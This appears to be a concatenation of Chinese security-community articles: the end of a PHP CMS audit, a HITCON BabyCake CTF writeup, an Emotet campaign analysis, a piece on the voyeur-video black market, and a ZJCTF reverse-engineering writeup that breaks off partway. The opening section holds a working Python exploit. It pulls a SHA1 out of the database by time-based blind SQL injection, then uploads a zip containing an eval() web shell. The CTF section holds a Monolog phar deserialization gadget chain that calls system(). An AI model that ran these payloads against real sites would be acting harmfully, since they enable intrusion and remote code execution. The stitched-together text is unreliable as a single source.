$data['time'] = param('time');
$time1 = $data['time'];
$token = md5($conf['auth_key'].$conf['appid'].$time1);
if($time-intval($time1)>60){
//过时了
}else{
$tmpanme = $data['file']['name'];
$tmpurl = $conf['upload_url'] . 'docview/' . $tmpanme;
$replace['online_trans_num'] = $num-1;
file_replace_var(DATA_PATH.'config/conf.default.php', $replace);
if (!file_exists($tmpurl)) {
if (!move_uploaded_file($data['file']['tmp_name'], $tmpurl)) {
echo xn_json_encode(array('code'=>0,'message'=>'创建文件失败'));
return;
}else{
$info = db_find_one('doccon',array('sha1'=>$data['sha1']));
$fileinfo = db_find_one('file',array('id'=>$info['fileid']));
$name = str_replace('.'.$fileinfo['ext'],'',$fileinfo['savename']);
xn_unzip($conf['upload_path'].'docview/'.$name.'.zip', $conf['upload_path'].'docview/'.$name.'/');
……
这里的param参数跟进去看其实等同于$_REQUEST获取变量的方式，因此下面需要思考如何进入到最终的unzip函数。
第一个限制条件`$time-intval($time1)>60`这个主要是过期判断，因此每次都带上time参数就能够覆盖先前的time1变量。
第二个限制条件`file_exists($tmpurl)`,这里回溯就会发现这里的$tmpurl是由$_FILES['file']参数获得，这也是用户可以控制的参数，只要保证每次传入的文件名不一样即可进入到if条件中。
第三个限制条件`move_uploaded_file($data['file']['tmp_name'],
$tmpurl)`会将我们当前上传的文件由tmp目录写入到docview目录下。这里就有个问题，那就是我们先前在上传文件那一步上传文档的最终物理路径并不是docview目录，因此如果想要直接解压缩先前上传的文档，目前来看由于物理路径的不一致，这条路并不能走通。
最终进入到了else条件下，第四个限制条件也是最关键的条件，这里解压缩的文件名是通过数据库查取得到，查取条件就是我们传入的sha1值，看到这里其实就有点柳暗花明了。这里在数据库当中一个sha1值就会对应一个savename，最后也就是对这个savename进行解压缩。那么这个sha1值和savename就是根据先前在文件上传那步定义的，配合上sql注入漏洞，我们就可以到数据库中去取这个sha1值和savename。
取完进入到最终的unzip函数，这里文件名是docview目录下的，也就是说先前在文件上传那步涉及的压缩包在这里并不能被解压缩，他只是提供了一个能够解压缩的文件名。因此在这一步我们就必须通过$_FILES['file']来将savename的同名文件上传到docview目录下。然后通过传入对应的sha1值来解压缩这个同名文件，最终获得压缩文件中的shell。
# 后记
补充下注入代码和主代码
def get_sha1(root_url,hex_title,payload,headers):
sha1 = ''
for i in xrange(1,33):
for x in payload:
param = "?val[ and if(ascii(substr((select sha1 from 5isns_file where name in (%s)),%s,1)) in (%d),sleep(3),0)--+]=1" % (hex_title,i,ord(x))
url = root_url + '/api-focus' + param
print url
start_time = time.time()
s = requests.get(url=url)
end_time = time.time()
if end_time - start_time > 2:
sha1 += x
print sha1
break
return sha1
def upload_shell_dir(root_url,sha1,shell_dir):
filename = shell_dir + '.zip'
cmd = 'echo "<?php @eval(\$_POST[1]);?>" > shell.php && zip %s shell.php' % filename
os.system(cmd)
exp_url = root_url + '/doc-upload?time=%s&sha1=%s' % ('159999999999',sha1)
files = {
"file":open(filename,'rb'),
"file_name":(None,"testssss")
}
s = requests.post(url=exp_url,files=files)
shell_url = root_url + '/upload/docview/' + shell_dir + '/shell.php'
data = {'1':'phpinfo();'}
s = requests.post(url=shell_url,data=data)
if 'phpinfo' in s.text:
print shell_url
print 'attack success!'
def main():
headers = {
"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:66.0) Gecko/20100101 Firefox/66.0",
"Accept":"text/plain, */*; q=0.01",
"Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest"
}
payload = string.digits + string.lowercase + '._'
hex_title = '0x7368656c6c2e7068702e7a6970'
#shell.php.zip
root_url = 'http://127.0.0.1:9999'
sha1 = get_sha1(root_url,hex_title,payload,headers)
shell_dir = get_shell_dir(root_url,hex_title,payload,headers)
upload_shell_dir(root_url,sha1,shell_dir)
上述如有不当之处，敬请指出~ | 社区文章 |
# Hitcon2018 BabyCake题目分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> orange大佬出的题目，质量很高，能学到不少东西，这里简单分析复现一下。
## 初见题目
刚开始拿到题目源码，发现使用的是cakephp框架，逻辑代码并不是很多，大体的逻辑是实现了一个http访问器，这里很多参赛者很容易想到ssrf攻击去，但是很快出题者就给出了提示。
就说明这个题目与ssrf攻击无关，然后通过简单的观察，发现了出题人在使用composer安装php组件的过程中，使用了一个低版本的存在反序列化rce的组件：
这是一个很明显的提示点，那么这个题目很有可能就是利用反序列化执行命令来解的，在writeup中也证实了我们的猜想。
## 题目逻辑代码分析
题目的逻辑集中在 src/Controller/PageController.php 中，下面分析一下几个具体的实现：
### 1\. 缓存机制实现
代码实现了一个简单的缓存逻辑，关注点有两个，第一个是缓存的路径，简单追踪一下代码，可以看到缓存逻辑：
所以缓存路径是可以得到的 /var/www/html/tmp/CLIENTIP/md5(url)/
，第二个就是缓存的文件名，文件分为两个，一个是body.cache ,另一个是 headers.cache.
### 2\. 序列化与反序列化
可以看到在缓存机制中，有关headers.cache是采用了序列化的机制，会把请求得到的返回头序列化以后，存储到文件中去，然后在读取缓存的过程中反序列化执行，这里是一个很明显的利用点，估计很多攻击者都会去底层代码中寻找有关这个地方反序列化的利用技巧，我在刚开始的时候也是被困在这里了，直到看到writeup，才恍然大悟，这是一个陷阱。最后的利用思路反而在没有序列化操作的body.cache，不得不说orange大佬出题果然厉害，那我们就来看一下，具体是怎么一步一步实现的反序列化。
## 任意文件读取漏洞的发现
首先跟踪了一遍有关get请求处理文件头的操作，发现得到的请求头，会被当做一个数组被反序列化，这里我们无论怎么修改，都还是一个array，一个unserialize是不会反序列化两层的，所以headers.cache这条利用思路是不可控的，所以我们继续跟进一下有关post的具体处理流程：
首先跟进httpclient：
然后跟进Client类：
然后跟进到_doRequest函数：
然后继续跟进_createRequest：
还是没有发现具体的实现，于是继续跟进Request类：
在Request类中，发现了构建请求body的函数，然后跟进到具体FormData类的addMany函数中：
然后就追踪到了一个关键的代码点：
这里判断了一下传入的 $value 是否是以 @ 开头的，如果是，则进入 addFile 函数中：
这个函数中，我们发现如果传入的 $value
不是一个资源，那就会去掉最开头的一个@符号，然后采用file_get_contents读取这个路径。这里很容易联想到最近ctf出题中很火的phar://
反序列化漏洞，和这个题目也是刚好吻合，所以基本上思路是对的。
那我们首先来尝试一下，读一下 /etc/passwd 文件，我们只要构造一个post请求，然后将传入的data数组的某个键的值改成 @/etc/passwd
就可以读取文件，本地搭建了一个环境进行测试：
在8888 端口我们收到了请求：
既然我们实现了任意文件读取，那我们就要构思如何进行反序列化rce了。
## 构造反序列化执行命令
通过整理思路，我们构建了一个利用payload：
下面我们来本地测试一下：
首先我们可以在phpggc项目中，找到该版本Monolog
反序列化漏洞的有关[代码](https://github.com/ambionics/phpggc/blob/master/gadgetchains/Monolog/RCE/1/gadgets.php)。
生成phar文件的代码,放到项目中执行即可：
<?php
namespace MonologHandler
{
class SyslogUdpHandler
{
protected $socket;
function __construct($x)
{
$this->socket = $x;
}
}
class BufferHandler
{
protected $handler;
protected $bufferSize = -1;
protected $buffer;
# ($record['level'] < $this->level) == false
protected $level = null;
protected $initialized = true;
# ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false
protected $bufferLimit = -1;
protected $processors;
function __construct($methods, $command)
{
$this->processors = $methods;
$this->buffer = [$command];
$this->handler = clone $this;
}
}
}
namespace{
$cmd = "ls -alt";
$obj = new MonologHandlerSyslogUdpHandler(
new MonologHandlerBufferHandler(
['current', 'system'],
[$cmd, 'level' => null]
)
);
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($obj);
$phar->stopBuffering();
}
### 1\. 缓存phar文件到body.cache
并且计算出缓存文件所在的路径：
/var/www/html/tmp/cache/mycache/153.36.215.119/1e8685bf0442fcf3bd25e23908aeb314
### 2\. 通过post请求 @ 符号触发file_get_contents 查看payload
### 3\. phar:// 协议触发反序列化，执行命令
### 4\. 获取flag
能够执行命令，获取flag就轻而易举了，本地只是测试，随手写了一个flag, 只需要修改生成phar代码中的 $cmd 即可：
到此整个流程分析完毕。
## 后记
不得不说，orange大佬出的题目设计很巧妙，需要比较强的代码追踪能力和足够的经验，感谢大佬出题，学到了很多。
## 参考链接以及题目源码：
<https://github.com/PDKT-Team/ctf/tree/master/hitcon2018/baby-cake>
<https://github.com/ambionics/phpggc> | 社区文章 |
# 圣诞大礼：Emotet重现江湖
|
##### 译文声明
本文是翻译文章，文章原作者 Minerva Labs，文章来源：minerva-labs.com
原文地址：<https://blog.minerva-labs.com/the-emotet-grinch-is-back>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
如果大家读过minerva实验室之前发表的文章，那么应该对Emotet有所了解。最近minerva又阻挡了Emotet新发起的一波攻击，这波攻击以圣诞节主题，我们将其称之为“Emotet
Grinch”（Emotet圣诞怪杰）。
## 二、技术分析
网络犯罪分子最近正在紧锣密鼓推广这款恶意软件，想方设法绕过基本防线，突破目标系统。在十二月底时，Minerva阻止了Emotet新发起的一波攻击浪潮，这次攻击与时俱进，以圣诞节为主题。与之前的攻击类似，“Emotet
Grinch”同样以钓鱼邮件为攻击起点，该邮件中包含指向恶意文档的一条链接，文档名为“Your Holidays
eCard.doc”（你专属的假日电子贺卡.doc）。这份文档同样会想方设法诱使用户启动文档中内置的恶意宏，如下图所示：
接下来，攻击行为与之前的Emotet攻击活动类似：恶意宏会使用如下字符串作为参数，运行`cmd.exe`：
这个脚本中有一些冗余信息，使用多个变量用来掩盖“powershell”这个字符串，可以看出攻击者精心伪造了下一阶段的攻击载荷，下一阶段使用的是PowerShell无文件攻击载荷。在之前的攻击活动中，Emotet所使用的攻击载荷开头部分为经过混淆的[Invoke-Expression](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-5.1)调用语句，后面跟着字符串形式的一段PowerShell脚本：
如上图所示，老版的Emotet样本在内嵌的PowerShell载荷之前，会对“iex”字符串进行混淆处理。
其中，“comspec”这个环境变量对应的是`cmd.exe`的具体路径，攻击者精心选择该路径中的几个字符，最终组成了“iex”这个字符串，该字符串也是[Invoke-Expression](http://ilovepowershell.com/2011/11/03/list-of-top-powershell-alias/)的别名（alias）。
与之前的攻击活动不同，这一次Emotet Grinch使用了三重“Invoke-Expression”混淆来给受害者送份“大礼”。每一层混淆都会使用一条命令返回预定的一个值，再以这个值为输入来构造最终的“iex”字符串：
第一层，使用“MaximumDriveCount”：
第二层，使用“$Shellid”变量：
第三层，使用“$VerbosePreference”：
攻击者将这种“iex套娃”混淆技术与字符串替换方法（如将“garBaGe”替换为“c”）结合在一起，这样就能绕过静态扫描技术，许多安全产品难以揭开足够多的掩护层，无法触摸到最里面的恶意功能。
去混淆处理完成后，恶意软件会在受害者系统上执行如下脚本：
经过去混淆处理后，我们可以看到最终的PowerShell脚本结构比较清晰，该脚本可以从5个域名下载Emotet的可执行载荷，这些域名已经硬编码到脚本中，下载的可执行文件被重命名为随机数字名，然后再加以执行。
值得注意的是，与早期的Emotet可执行载荷类似，用户可以使用Minerva出品的DIY Emotet防护方法来对抗此次Emotet攻击浪潮：
此外，Minerva的Anti-Evasion Platform包含各种安防功能，可以防止用户被Emotet感染。该平台中位于最前线的为[Malicious
Document Prevention](https://minerva-labs.com/malicious-document-prevention)（恶意文档预防）模块，该模块可以在攻击活动的初始阶段打破整个感染链，使攻击者无法通过恶意文档执行第一阶段的攻击，因此能保护用户安全。
## 三、IoC
**恶意文档SHA256哈希：**
abd5d939438d963e05e59e137e7679e1408e0f9c7f4b0690287aecb807cd2909
**托管可执行载荷的URL：**
hxxp://metricinvestmentsgroup[.]com/bAtOQlC/
hxxp://dopplmeister[.]com/897zkkf/
hxxp://starklogic[.]com/xr5e/
hxxp://archersdelathur[.]org/Zw1Db/
hxxp://lephamtech[.]com/gIhZm/
此外，@NelsonSecurity也公布了一个[Pastebin页面](https://pastebin.com/u/Spacing)，该页面每天会更新相关URL地址。
**托管恶意文档的URL：**
hxxp://roberthempsall[.]co[.]uk/Your-Holidays-eCard/
hxxp://www.printit[.]com[.]pk/Your-holidays-Gift-Card/ | 社区文章 |
# 偷拍产业链“下游”，谁在为偷拍视频“买单”？
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
偷拍产业的形成，一方面是偷拍者为了满足自身的窥私心理，一方面是不法分子利用偷拍视频谋取暴利。对于以偷拍形式获取的视频资源，不法分子是通过什么方式进行贩卖变现的？通过已掌握的情况看，其主要通过
**情色视频自拍网站、卖片党、账号党** 等渠道传播偷拍视频。
## 通过情色视频自拍网站进行售卖
偷拍客将偷拍视频上传到情色视频自拍网站后，与网站平台方进行视频收益分成；也有偷拍客上传带有社交账号的视频，借助情色视频自拍网站的高流量特征，
**吸引观众添加视频中的社交账号，进行二次引流，实现招嫖交易、色情视频贩卖。**
由于此种平台与偷拍客双赢的方式，颠覆了传统色情网站的广告瀑布流的盈利模式，因此，诞生了众多主打偷拍分享的网站及偷拍客。
**情色网站源码售卖站点**
为躲避执法部门对于这类违法网站的打击，不法分子借助一些情色网站源码快速搭建出各式各样的情色视频自拍网站，通过 **域名防洪手段、隐藏式关键词**
躲避安全检测，传播情色自拍网站。
## 卖片党
### 视频获取
倒卖视频的卖片党，一方面通过偷拍的方式获得大量的偷拍视频，另一方面通过爬虫手段，从各种情色自拍网站、偷拍论坛抓取各式偷拍视频源。
### 技术加工
收录到各种偷拍视频后，对视频进行 **分类、加水印、生成加密压缩包** ：
**l视频加水印** ，主要包含制作者自己的社交账号或博彩平台网址，一方面吸引更多的买家，一方面帮博彩平台进行引流获得流量收入分成。
**l生成加密压缩包，** 主要是防止通过社交软件、网络云盘、下载软件传播的过程中被识别为色情视频，被拦截阻断。
### 收益变现
视频制作完成后，将视频上传至收益分成类网盘平台，进行流量收益分成，下载的用户越多，网盘页面的访问者越多，获得的流量收益也越多。
也会上传至“知名”的情色论坛，在论坛流转后，吸引更多的买家付费购买视频，或通过色粉等引流话术，通过主流社交渠道贩卖。
**某黑灰产渠道贩卖的片源粉广告截图**
**由于色粉流量大、数据多，目前又衍生了利用色粉数据进行诈骗的产业。**
例如视频裸聊勒索诈骗，诈骗团伙通过色粉引流的方式与受害人取得联系，通过诱导受害人进行视频裸聊，录制受害人裸聊画面后，进行敲诈勒索。
## 应对偷拍产业措施
**l打击违规偷拍设备生产** ，可以一定程度提高偷拍行业的入门门槛，遏制偷拍产业的发展。通过对于互联网的传播渠道，降低并减少此类产品的推广渠道。
**l警企联合，** 借助互联网安全大数据，通过技术识别对各类违规视频及时阻断。减低色情资源影响力，提高色情资源传播难度及成本。
**l借助科技的力量** ，360手机卫士防偷拍监测功能，通过对联网摄像头的连接特征、通信方式进行特征分析，可有效识别当前Wi-Fi下是否连接有常见类型的可疑摄像设备。
**l安全防护意识，** 对于酒店、租房等易被偷拍地区，提高安全防护意识，发现问题及时取证报警。 | 社区文章 |
# ZJCTF 2021 Triple Language Writeup
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
比赛时遇到这道题目，花了两个多小时才做出来。赛后又仔细看了看题，觉得比较有意思，因此来分享一下我的解题过程，方便大家复现赛题。
题目分为 check1 和 check2 两个部分，要求完成两个部分的解密即可得到 flag，其中两个部分内还分为几个小问题，我这里全部使用 Z3 来解决。
## 第一部分
### 约束一
这部分提供了一个约束条件，首先是要求第一部分输入的长度为 22，并且给出了以下约束
Input[6] - Input[14] = 0xFC
Input[7] - Input[15] = 0x01
Input[8] - Input[16] = 0xF3
Input[9] - Input[17] = 0xFA
Input[10] - Input[18] = 0x0E
Input[11] - Input[19] = 0xBB
Input[12] - Input[20] = 0x3E
Input[13] - Input[21] = 0x00
### 约束二
这部分内容就来自于 unicorn 的模拟执行
这部分内容的逻辑比较清楚，但是其中一些常数我们无法得知含义，而且此比赛要求离线，所以我考虑从我本地安装的 python 版 unicorn
库中找到这些常数。
我之前正好写过一题 unicorn 的题（感谢 TCTF），找到启动内容大致如下，猜测这个启动和 C 实现中的 uc_open
类似，所以常数应该也是对应的。
在代码中分别传入的常数是 3 和 4，我们在常数定义中分别找到这两个内容。
3 代表的就是 MIPS 架构
4 代表的是 32 位
所以我们知道接下来要模拟的代码就是 32 位的 MIPS 代码，这便于我们后续分析。
后续可以看到在 0x10000 处写入了 MIPS 汇编代码，根据写入长度，定义字节长度为 0x110，再用 IDA 的 Ctrl + E 将其提取
将提取得到的内容用 IDA32 再次打开，这里多次试验后，发现指令集应该是 MIPS 小端
IDA 打开后，可以根据原来代码中的调用信息来修复段信息。
uc_mem_map 在 0x10000 位置定义了一个长度为 0x200000 的可读可写可执行段，我们在 IDA 选择以下内容
进行之后在代码内容中按 Alt +S 修改段信息，将其按照代码中的，勾选右下角三个勾
再到代码中按 C 来转为 Code
结合之前的信息，我们很容易得知这三个位置的内容分别是
0x11000 对应一个常量，0x12000 对应从 Input[6] ~ Input[13]，0x13000 对应从 Input[14] ~
Input[21]，我们可以修改其命名来方便阅读，但是其中的汇编指令不太懂，并且离线无法查询，这时候可以打开 IDA 的 Auto comments
以上都修改后，代码内容为
做完以上事情，是时候去看看程序 Hook 了那些内容了。
结合 Hook 的位置来对应其代码内容不难看出，实际上在验证汇编执行 mul （乘法）之后的结果，而这几个乘法的结果，取决于 t1 – t6
这六个寄存器，而这六个寄存器在启动前被赋值，值来源于输入内容的前六字节
也就是我们得到了一个关于前六字节的约束，而且这个约束是有唯一确定的结果的。
### 约束三
续上文，我们可以看到程序在 unicorn 结束执行后还对几个寄存器进行了比对，如果比对一致则返回 1。
结合上面的代码和注释，不难看出，这几个寄存器的加载的内容就是 part1 和 part2 中对应内容相加的值。结合上面的约束一，已知 part1 +
part2 和 part1 – part2，就不难得到 part1 和 part2 的值。
**Check1 解题脚本**
结合以上三个约束，我们可以编写如下脚本
from z3 import *
solver = Solver()
mul = [0x2F2E, 0x282A, 0x2C42, 0X2A8A, 0x13E0, 0x36D4]
sign = "zjgcjy"
flag = ""
for i in range(len(mul)):
flag += chr(mul[i] // ord(sign[i: i + 1]))
k1 = [0x00, 0x3E, 0XBB, 0X0E, 0XFA, 0xF3, 0x01, 0xFC][::-1]
k2 = [0xC2, 0XC3, 0XD7, 0XC4, 0XDA, 0XA5, 0XA0, 0XBE]
input = [BitVec('f%d' % i, 8) for i in range(16)]
for i in range(8):
solver.add(input[i] - input[i + 8] == k1[i])
solver.add(input[i] + input[i + 8] == k2[i])
assert solver.check() == sat
ans = solver.model()
flag += ''.join([chr(ans[input[i]].as_long()) for i in range(16)])
print flag #cann0t_be_t0o_carefu1_
这个问题解决后，就准备迎来更加复杂的第二部分
## 第二部分
### 前四字节
要求输入长度为 20，并且通过 part1 检测
不难看出，这部分内容实际上只检验了前四个字节，我这里给出两种做法，分别对应不同情况：
1. 爆破解法：因为只有四个字节，所以在比赛过程中我考虑直接使用爆破的方法来求解，计算的时间虽然长一些，但是计算的同时我可以去看下面的代码内容。
2. 如果字节数更多，那么爆破的方法就不再可行，所以赛后我又写了一份使用 Z3 来进行求解的脚本。
**爆破解法**
这个解法的好处在于，相比 Z3 的写法更快一些，但是要更加的注意类型约束，因为在 python 中默认是高精度的数字。
p = [0x00000000, 0xF26B8303, 0xE13B70F7, 0x1350F3F4, 0xC79A971F, 0x35F1141C, 0x26A1E7E8, 0xD4CA64EB, 0x8AD958CF, 0x78B2DBCC, 0x6BE22838, 0x9989AB3B, 0x4D43CFD0, 0xBF284CD3, 0xAC78BF27, 0x5E133C24, 0x105EC76F, 0xE235446C, 0xF165B798, 0x030E349B, 0xD7C45070, 0x25AFD373, 0x36FF2087, 0xC494A384, 0x9A879FA0, 0x68EC1CA3, 0x7BBCEF57, 0x89D76C54, 0x5D1D08BF, 0xAF768BBC, 0xBC267848, 0x4E4DFB4B, 0x20BD8EDE, 0xD2D60DDD, 0xC186FE29, 0x33ED7D2A, 0xE72719C1, 0x154C9AC2, 0x061C6936, 0xF477EA35, 0xAA64D611, 0x580F5512, 0x4B5FA6E6, 0xB93425E5, 0x6DFE410E, 0x9F95C20D, 0x8CC531F9, 0x7EAEB2FA, 0x30E349B1, 0xC288CAB2, 0xD1D83946, 0x23B3BA45, 0xF779DEAE, 0x05125DAD, 0x1642AE59, 0xE4292D5A, 0xBA3A117E, 0x4851927D, 0x5B016189, 0xA96AE28A, 0x7DA08661, 0x8FCB0562, 0x9C9BF696, 0x6EF07595, 0x417B1DBC, 0xB3109EBF, 0xA0406D4B, 0x522BEE48, 0x86E18AA3, 0x748A09A0, 0x67DAFA54, 0x95B17957, 0xCBA24573, 0x39C9C670, 0x2A993584, 0xD8F2B687, 0x0C38D26C, 0xFE53516F, 0xED03A29B, 0x1F682198, 0x5125DAD3, 0xA34E59D0, 0xB01EAA24, 0x42752927, 0x96BF4DCC, 0x64D4CECF, 0x77843D3B, 0x85EFBE38, 0xDBFC821C, 0x2997011F, 0x3AC7F2EB, 0xC8AC71E8, 0x1C661503, 0xEE0D9600, 0xFD5D65F4, 0x0F36E6F7, 0x61C69362, 0x93AD1061, 0x80FDE395, 0x72966096, 0xA65C047D, 0x5437877E, 0x4767748A, 0xB50CF789, 0xEB1FCBAD, 0x197448AE, 0x0A24BB5A, 0xF84F3859, 0x2C855CB2, 0xDEEEDFB1, 0xCDBE2C45, 0x3FD5AF46, 0x7198540D, 0x83F3D70E, 0x90A324FA, 0x62C8A7F9, 0xB602C312, 0x44694011, 0x5739B3E5, 0xA55230E6, 0xFB410CC2, 0x092A8FC1, 0x1A7A7C35, 0xE811FF36, 0x3CDB9BDD, 0xCEB018DE, 0xDDE0EB2A, 0x2F8B6829, 0x82F63B78, 0x709DB87B, 0x63CD4B8F, 0x91A6C88C, 0x456CAC67, 0xB7072F64, 0xA457DC90, 0x563C5F93, 0x082F63B7, 0xFA44E0B4, 0xE9141340, 0x1B7F9043, 0xCFB5F4A8, 0x3DDE77AB, 0x2E8E845F, 0xDCE5075C, 0x92A8FC17, 0x60C37F14, 0x73938CE0, 0x81F80FE3, 0x55326B08, 0xA759E80B, 0xB4091BFF, 0x466298FC, 0x1871A4D8, 0xEA1A27DB, 0xF94AD42F, 0x0B21572C, 0xDFEB33C7, 0x2D80B0C4, 0x3ED04330, 0xCCBBC033, 0xA24BB5A6, 0x502036A5, 0x4370C551, 0xB11B4652, 0x65D122B9, 0x97BAA1BA, 0x84EA524E, 0x7681D14D, 0x2892ED69, 0xDAF96E6A, 0xC9A99D9E, 0x3BC21E9D, 0xEF087A76, 0x1D63F975, 0x0E330A81, 0xFC588982, 0xB21572C9, 0x407EF1CA, 0x532E023E, 0xA145813D, 0x758FE5D6, 0x87E466D5, 0x94B49521, 0x66DF1622, 0x38CC2A06, 0xCAA7A905, 0xD9F75AF1, 0x2B9CD9F2, 0xFF56BD19, 0x0D3D3E1A, 0x1E6DCDEE, 0xEC064EED, 0xC38D26C4, 0x31E6A5C7, 0x22B65633, 0xD0DDD530, 0x0417B1DB, 0xF67C32D8, 0xE52CC12C, 0x1747422F, 0x49547E0B, 0xBB3FFD08, 0xA86F0EFC, 0x5A048DFF, 0x8ECEE914, 0x7CA56A17, 0x6FF599E3, 0x9D9E1AE0, 0xD3D3E1AB, 0x21B862A8, 0x32E8915C, 0xC083125F, 0x144976B4, 0xE622F5B7, 0xF5720643, 0x07198540, 0x590AB964, 0xAB613A67, 0xB831C993, 0x4A5A4A90, 0x9E902E7B, 0x6CFBAD78, 0x7FAB5E8C, 0x8DC0DD8F, 0xE330A81A, 0x115B2B19, 0x020BD8ED, 0xF0605BEE, 0x24AA3F05, 0xD6C1BC06, 0xC5914FF2, 0x37FACCF1, 0x69E9F0D5, 0x9B8273D6, 0x88D28022, 0x7AB90321, 0xAE7367CA, 0x5C18E4C9, 0x4F48173D, 0xBD23943E, 0xF36E6F75, 0x0105EC76, 0x12551F82, 0xE03E9C81, 0x34F4F86A, 0xC69F7B69, 0xD5CF889D, 0x27A40B9E, 0x79B737BA, 0x8BDCB4B9, 0x988C474D, 0x6AE7C44E, 0xBE2DA0A5, 0x4C4623A6, 0x5F16D052, 0xAD7D5351, 0xD76AA478]
allow = string.digits + string.letters
for i in allow:
for j in allow:
for k in allow:
for l in allow:
t = i + j + k + l
v1 = 0xFFFFFFFF
for x in range(4):
v1 = ((v1 >> 8) ^ p[(ord(t[x: x + 1]) ^ v1) & 0xff]) & 0xffffffff
v1 = ~v1 & 0xffffffff
if v1 == 0x0CAFABCBC:
print t #when
exit(0)
**Z3 解法**
这个解法速度快，效率高，但是编写过程中需要一些思考，对 Z3 能力的考察也更多一些。
p = [0x00000000, 0xF26B8303, 0xE13B70F7, 0x1350F3F4, 0xC79A971F, 0x35F1141C, 0x26A1E7E8, 0xD4CA64EB, 0x8AD958CF, 0x78B2DBCC, 0x6BE22838, 0x9989AB3B, 0x4D43CFD0, 0xBF284CD3, 0xAC78BF27, 0x5E133C24, 0x105EC76F, 0xE235446C, 0xF165B798, 0x030E349B, 0xD7C45070, 0x25AFD373, 0x36FF2087, 0xC494A384, 0x9A879FA0, 0x68EC1CA3, 0x7BBCEF57, 0x89D76C54, 0x5D1D08BF, 0xAF768BBC, 0xBC267848, 0x4E4DFB4B, 0x20BD8EDE, 0xD2D60DDD, 0xC186FE29, 0x33ED7D2A, 0xE72719C1, 0x154C9AC2, 0x061C6936, 0xF477EA35, 0xAA64D611, 0x580F5512, 0x4B5FA6E6, 0xB93425E5, 0x6DFE410E, 0x9F95C20D, 0x8CC531F9, 0x7EAEB2FA, 0x30E349B1, 0xC288CAB2, 0xD1D83946, 0x23B3BA45, 0xF779DEAE, 0x05125DAD, 0x1642AE59, 0xE4292D5A, 0xBA3A117E, 0x4851927D, 0x5B016189, 0xA96AE28A, 0x7DA08661, 0x8FCB0562, 0x9C9BF696, 0x6EF07595, 0x417B1DBC, 0xB3109EBF, 0xA0406D4B, 0x522BEE48, 0x86E18AA3, 0x748A09A0, 0x67DAFA54, 0x95B17957, 0xCBA24573, 0x39C9C670, 0x2A993584, 0xD8F2B687, 0x0C38D26C, 0xFE53516F, 0xED03A29B, 0x1F682198, 0x5125DAD3, 0xA34E59D0, 0xB01EAA24, 0x42752927, 0x96BF4DCC, 0x64D4CECF, 0x77843D3B, 0x85EFBE38, 0xDBFC821C, 0x2997011F, 0x3AC7F2EB, 0xC8AC71E8, 0x1C661503, 0xEE0D9600, 0xFD5D65F4, 0x0F36E6F7, 0x61C69362, 0x93AD1061, 0x80FDE395, 0x72966096, 0xA65C047D, 0x5437877E, 0x4767748A, 0xB50CF789, 0xEB1FCBAD, 0x197448AE, 0x0A24BB5A, 0xF84F3859, 0x2C855CB2, 0xDEEEDFB1, 0xCDBE2C45, 0x3FD5AF46, 0x7198540D, 0x83F3D70E, 0x90A324FA, 0x62C8A7F9, 0xB602C312, 0x44694011, 0x5739B3E5, 0xA55230E6, 0xFB410CC2, 0x092A8FC1, 0x1A7A7C35, 0xE811FF36, 0x3CDB9BDD, 0xCEB018DE, 0xDDE0EB2A, 0x2F8B6829, 0x82F63B78, 0x709DB87B, 0x63CD4B8F, 0x91A6C88C, 0x456CAC67, 0xB7072F64, 0xA457DC90, 0x563C5F93, 0x082F63B7, 0xFA44E0B4, 0xE9141340, 0x1B7F9043, 0xCFB5F4A8, 0x3DDE77AB, 0x2E8E845F, 0xDCE5075C, 0x92A8FC17, 0x60C37F14, 0x73938CE0, 0x81F80FE3, 0x55326B08, 0xA759E80B, 0xB4091BFF, 0x466298FC, 0x1871A4D8, 0xEA1A27DB, 0xF94AD42F, 0x0B21572C, 0xDFEB33C7, 0x2D80B0C4, 0x3ED04330, 0xCCBBC033, 0xA24BB5A6, 0x502036A5, 0x4370C551, 0xB11B4652, 0x65D122B9, 0x97BAA1BA, 0x84EA524E, 0x7681D14D, 0x2892ED69, 0xDAF96E6A, 0xC9A99D9E, 0x3BC21E9D, 0xEF087A76, 0x1D63F975, 0x0E330A81, 0xFC588982, 0xB21572C9, 0x407EF1CA, 0x532E023E, 0xA145813D, 0x758FE5D6, 0x87E466D5, 0x94B49521, 0x66DF1622, 0x38CC2A06, 0xCAA7A905, 0xD9F75AF1, 0x2B9CD9F2, 0xFF56BD19, 0x0D3D3E1A, 0x1E6DCDEE, 0xEC064EED, 0xC38D26C4, 0x31E6A5C7, 0x22B65633, 0xD0DDD530, 0x0417B1DB, 0xF67C32D8, 0xE52CC12C, 0x1747422F, 0x49547E0B, 0xBB3FFD08, 0xA86F0EFC, 0x5A048DFF, 0x8ECEE914, 0x7CA56A17, 0x6FF599E3, 0x9D9E1AE0, 0xD3D3E1AB, 0x21B862A8, 0x32E8915C, 0xC083125F, 0x144976B4, 0xE622F5B7, 0xF5720643, 0x07198540, 0x590AB964, 0xAB613A67, 0xB831C993, 0x4A5A4A90, 0x9E902E7B, 0x6CFBAD78, 0x7FAB5E8C, 0x8DC0DD8F, 0xE330A81A, 0x115B2B19, 0x020BD8ED, 0xF0605BEE, 0x24AA3F05, 0xD6C1BC06, 0xC5914FF2, 0x37FACCF1, 0x69E9F0D5, 0x9B8273D6, 0x88D28022, 0x7AB90321, 0xAE7367CA, 0x5C18E4C9, 0x4F48173D, 0xBD23943E, 0xF36E6F75, 0x0105EC76, 0x12551F82, 0xE03E9C81, 0x34F4F86A, 0xC69F7B69, 0xD5CF889D, 0x27A40B9E, 0x79B737BA, 0x8BDCB4B9, 0x988C474D, 0x6AE7C44E, 0xBE2DA0A5, 0x4C4623A6, 0x5F16D052, 0xAD7D5351, 0xD76AA478]
a = Array('a', BitVecSort(32), BitVecSort(32))
